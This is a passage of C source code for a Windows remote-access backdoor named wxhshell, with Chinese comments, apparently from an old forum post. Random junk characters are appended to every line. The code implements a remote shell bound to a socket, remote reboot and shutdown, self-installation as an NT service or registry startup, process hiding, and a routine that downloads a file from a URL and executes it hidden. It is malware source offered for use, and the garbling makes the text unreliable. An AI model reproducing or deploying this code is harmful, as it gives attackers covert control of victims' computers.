  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {YC!pDG  
  else VR ^qwS/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f.JZ[+  
  } Nz_c]3_j  
  else { +~?ze,Di  
X ,n4_=f  
    switch(cmd[0]) { &lbxmUeU  
  T6h-E^Z  
  // 帮助 ."&,_F  
  case '?': { 7K,Quq.%+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Qz\yoI8JA,  
    break; ( NWT/yBx  
  } L`;p.L Bs_  
  // 安装 3XF.$=@  
  case 'i': { Tm(XM<  
    if(Install()) ,yus44w[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M.$Li#So,  
    else g@wF2=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qYR $5  
    break;  N-`Vb0;N  
    } D9,609w  
  // 卸载 :,g nOfV=  
  case 'r': { m^0r9y,  
    if(Uninstall()) w`=_|4wFw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rt%?K.S/  
    else Ko_Sx.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2+zE|I.  
    break; ^!^6 |[  
    } BZq_om6  
  // 显示 wxhshell 所在路径 0T7(c-  
  case 'p': { ;iR( Ir  
    char svExeFile[MAX_PATH]; tvXoF;Yq  
    strcpy(svExeFile,"\n\r"); I$/*Pt];  
      strcat(svExeFile,ExeFile); ^]l^q'?>:  
        send(wsh,svExeFile,strlen(svExeFile),0); PPk\W7G  
    break; 1+6:K._C(m  
    } JTK>[|c9oE  
  // 重启 *p:`F:  
  case 'b': { .Uq?SmK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  %Xs3Lz  
    if(Boot(REBOOT)) wmKM:`&[5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ODwO;_R5  
    else { E .^5N~.  
    closesocket(wsh); 9zSHn.y  
    ExitThread(0); CT,caa  
    } DP\s-JpI[  
    break; ?T=] ?[  
    } B?A c  
  // 关机 KwK[)Cvv  
  case 'd': { x{{QS$6v  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !$Aijd s5  
    if(Boot(SHUTDOWN)) ]T|9>o!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ot}fGiio  
    else { )OQhtxK  
    closesocket(wsh); WeDeD\zy  
    ExitThread(0); h07Z.q ;  
    } L1=3_fO  
    break; L08>9tf`  
    } Y$xO&\&)  
  // 获取shell d\aKGq;8C  
  case 's': { u>c\J|K_V  
    CmdShell(wsh); 9rXbv4{  
    closesocket(wsh); ^2f'I iE  
    ExitThread(0); 7jvy]5y8&~  
    break; 8 2qf7`  
  }  }/~%Ysl  
  // 退出 L#sw@UCK  
  case 'x': { \{r-e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ft%HWGE  
    CloseIt(wsh); vzV,} S*c  
    break; !w iW#PR  
    } U |I>CDp  
  // 离开 S Y\ UuZ  
  case 'q': { 2WQKj9iyN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A{\#.nC/z  
    closesocket(wsh); zRTR  
    WSACleanup(); :#D?b.=  
    exit(1); 5\93-e  
    break; s2f9 5<B  
        } J)1:jieQ  
  } ~^d. zIN!  
  } r /v'h@  
<;O=h; ~|  
  // 提示信息 ]=\Mf<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m|q?gX9R  
} +./c=o/v  
  } n8<o*f&&9>  
dFY]~_P472  
  return; 3TUW+#[Gu  
} ] jbQou@  
[MSLVTR  
// shell模块句柄 9$,x^Qx  
int CmdShell(SOCKET sock) $r`K4g  
{ kN3T/96  
STARTUPINFO si; tP; &$y.8  
ZeroMemory(&si,sizeof(si)); [ZwZGAP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yM dEH-?/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `$og]Dn;  
PROCESS_INFORMATION ProcessInfo; zNSix!F  
char cmdline[]="cmd"; NGYliP,.6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m87,N~DP  
  return 0; rM<lPMr1*  
} Bvzu{B%  
>55c{|"@L  
// 自身启动模式 _;mN1Te  
int StartFromService(void) O%)@> 5#S  
{ RjS;Ck@;  
typedef struct )"?6EsSF  
{ qz7:jq3N-{  
  DWORD ExitStatus; y*2R#jTA  
  DWORD PebBaseAddress; /dTy%hZC}  
  DWORD AffinityMask; `5 py6,  
  DWORD BasePriority; (]7*Kq  
  ULONG UniqueProcessId; 3wXmX  
  ULONG InheritedFromUniqueProcessId; >Gbj1>C}  
}   PROCESS_BASIC_INFORMATION; n^|;J*rD  
lB!`,>"c  
PROCNTQSIP NtQueryInformationProcess; eUQ.,mP  
!:e|M|T'I*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Hw"ik6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "|W .o=R  
4R!A.N9  
  HANDLE             hProcess; WelB+P2  
  PROCESS_BASIC_INFORMATION pbi; hoxn!x$?  
/64jO?mp  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8r[ZGUV  
  if(NULL == hInst ) return 0; 4 -)'a} O  
T1zft#1~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,4y' (DA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N;,?k.vU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z=%+U _,  
?fv?6r  
  if (!NtQueryInformationProcess) return 0; qGMM3a)Q  
';` fMcN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ke-Q>sm2Q  
  if(!hProcess) return 0; M0!;{1  
+3.Ik,Z}zq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w+Ve T@  
8+vZ9!7  
  CloseHandle(hProcess); L'{;V\d  
A.7:.5Cx'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Dd|}LV  
if(hProcess==NULL) return 0; g-'y_'%0G  
zx^]3}  
HMODULE hMod; h}xUZ:  
char procName[255]; #1R_* Uh  
unsigned long cbNeeded; }aYm86C]  
9@AGx<S1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @k~?h=o\b  
 ToNi<~  
  CloseHandle(hProcess); 8?] :>  
'$Jt}O  
if(strstr(procName,"services")) return 1; // 以服务启动 eydVWVN  
ln.kEhQ3B  
  return 0; // 注册表启动 8D]:>[|E  
} n+@}8;oeP  
g+/%r91hZ  
// 主模块 !- f>*|@  
int StartWxhshell(LPSTR lpCmdLine) lJ]r %YlF  
{ !f_GR Pj'  
  SOCKET wsl; P# 2&?.d\  
BOOL val=TRUE; 2=ZR}8}9Q:  
  int port=0; Z+ubc"MVb  
  struct sockaddr_in door; -Hzn7L  
^|}C!t+  
  if(wscfg.ws_autoins) Install(); 2{s ND  
J<DV7zV  
port=atoi(lpCmdLine); b~06-dk1  
ulFU(%&  
if(port<=0) port=wscfg.ws_port; o;Ijv\Em  
4W8rb'B!Ay  
  WSADATA data; |Hn[XRsf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q! W ~>c!  
1!8*mk_R{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %sC,;^wla'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bGRI^ [8#+  
  door.sin_family = AF_INET; TRz~rW k  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); UCYhaD@sP  
  door.sin_port = htons(port); z.1 6%@R  
H%7V)"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )hk=wu6  
closesocket(wsl); b{)('C$  
return 1; TI}H(XL(  
}  .Pq8C  
4zghM<  
  if(listen(wsl,2) == INVALID_SOCKET) { jIE>t5 fy  
closesocket(wsl); k Fv\V   
return 1; l^xkXj  
} qGkrG38K  
  Wxhshell(wsl); ~ C5iyXR  
  WSACleanup(); !mBsDn(J  
X[k-J\  
return 0; A(_AOoA'  
B%6bk.  
} L5T)_iQ5  
^ vI|  
// 以NT服务方式启动 R+]p -NI^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %9M; MK  
{ D{o1G?A  
DWORD   status = 0; yP0P-8  
  DWORD   specificError = 0xfffffff; iM2 EEC  
fEs957$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; GG"0n{>0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Js+d4``W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^FgNg'"[3  
  serviceStatus.dwWin32ExitCode     = 0; J'9&dt  
  serviceStatus.dwServiceSpecificExitCode = 0; "W6 nW  
  serviceStatus.dwCheckPoint       = 0; +WPi}  
  serviceStatus.dwWaitHint       = 0; V.WfP*~NJ  
/6{`6(p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |}Mkn4  
  if (hServiceStatusHandle==0) return; sxL;o >{  
]wne2WXE  
status = GetLastError(); mXc/sh")X  
  if (status!=NO_ERROR) N=D Ynz_~  
{ 4:r^6m%%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zq!2);,  
    serviceStatus.dwCheckPoint       = 0; $Fz/&;KX!  
    serviceStatus.dwWaitHint       = 0; ([|5(Omd\  
    serviceStatus.dwWin32ExitCode     = status; +^YV>;  
    serviceStatus.dwServiceSpecificExitCode = specificError; _if&a'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?y<n^`  
    return; &Wd,l$P<O  
  } 2?t(%uf]  
e::5|6x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  hPr  
  serviceStatus.dwCheckPoint       = 0; #!#V!^ o  
  serviceStatus.dwWaitHint       = 0; d\;M F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dMGu9k~u  
} 3\=8tg p  
HKOJkbVZ2^  
// 处理NT服务事件,比如:启动、停止 u MzefRN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yfTnj:Fz  
{ n_Um)GI>  
switch(fdwControl) u;J=g  
{ \(T; @r  
case SERVICE_CONTROL_STOP: :#TJ-l:#  
  serviceStatus.dwWin32ExitCode = 0; ,_NO[+5U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }"m@~kg=  
  serviceStatus.dwCheckPoint   = 0; 'IfM~9'D  
  serviceStatus.dwWaitHint     = 0; WY 2b  
  { 6./&l9{h+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EVO5+  
  } s^C*uP;R  
  return; `m2F.^qrr  
case SERVICE_CONTROL_PAUSE: DDAqgx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $#R.+B  
  break; W\eB   
case SERVICE_CONTROL_CONTINUE: N)poe2[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]`m|A1(  
  break; m.K"IXD  
case SERVICE_CONTROL_INTERROGATE: ]?``*{Zqy  
  break; ;k b^mJE  
}; h(/|`   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ] (MXP,R  
} 7h&xfrSrD  
twgU ru  
// 标准应用程序主函数 0?p_|X'_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y2<#%@%4  
{ ULU ]k#  
#S<>+,Lk  
// 获取操作系统版本 _9n.ir5YX  
OsIsNt=GetOsVer(); u x:,io  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S<p "k]  
sK?[ 1BI  
  // 从命令行安装 ?rBj{]=  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8(3vNuyP  
1&jX~'  
  // 下载执行文件 44%::Oh  
if(wscfg.ws_downexe) { >5^Z'!Z"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `dL9sfj>  
  WinExec(wscfg.ws_filenam,SW_HIDE); E/U1g4S  
} t:=Ui/!q  
O')Ivm,E  
if(!OsIsNt) { Kq{s^G  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~S-x-cZ  
HideProc(); q,:\i+>K*  
StartWxhshell(lpCmdLine); +e ?ixvld  
} JC=Bxv  
else 8: s3Q`O  
  if(StartFromService()) Z]SCIU @+  
  // 以服务方式启动 :~T:&;q0  
  StartServiceCtrlDispatcher(DispatchTable); uL-i>!"L!}  
else =,T~F3pK  
  // 普通方式启动 ;U20g:K  
  StartWxhshell(lpCmdLine); Q 5@~0  
a'T|p)N.;T  
return 0; f2{4Y)  
}
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只看该作者 1 发表于: 2006-10-10
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